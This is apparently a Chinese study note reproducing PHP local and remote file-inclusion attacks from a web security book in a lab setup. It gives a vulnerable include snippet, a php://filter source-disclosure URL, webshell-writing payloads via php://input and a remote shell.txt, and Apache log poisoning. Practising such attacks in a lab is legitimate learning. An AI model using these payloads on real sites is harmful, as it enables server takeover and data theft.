又重新看了一遍《web安全深度剖析》,看到了文件包含这一部分开始了手动实践,复现书中的描述场景,首先开启allow_url_include,搭建好wamp环境之后开始实验,
<?php
$file=$_GET['file'];
if(isset($file)
include($file);
else
include(index.php);
?>
0x01读取重要的文件内容
作为一个菜鸡,就是想要flag.php,但是通常是不会那么容易得到flag的,因为php文件都会被解析,是看不到源码的,所以姿势又开始扭摆了。不能直接读那就换个编码读用到php封装协议php://filter/read=convert.base64-encode/resource=flag.php这样就把php转换成了base64编码,解码就出来源码
0x02 getshell
首先,直接写shell,这里用到php://input,和php://filter一脉相承,这里直接访问xx.com/index.php?file=php://input,这里的数据是post发送的,<?php fputs(fopen("shell.php","w"),"<?php eval($_POST[chopper]);?>");?>直接写一个shell文
其次远程文件包含,同上述方法类似,在远程服务器上保存一个txt或其他文件,内容为<?php fputs(fopen("shell.php","w"),"<?php eval($_POST[chopper]);?>");?>,访问x.com/index.php?file=http://xx.xx.xx.xx/shell.txt就会在目标服务器上生成一个shell.php文件
还有三,利用apache错误日志取得shell,当访问出现错误的时候apache会在错误日志文件中记录下来访问内容,如xx.com/<?php eval($_POST['chopper']);?>,直接访问一句话会变形,可以通过burp抓包放出元数据,这样就原模原样的记录在apache日志下了,不过要确切的知道apache的路径才能访问到shell,利用包含一句话的图片上传之后一样会解析出来拿到shell。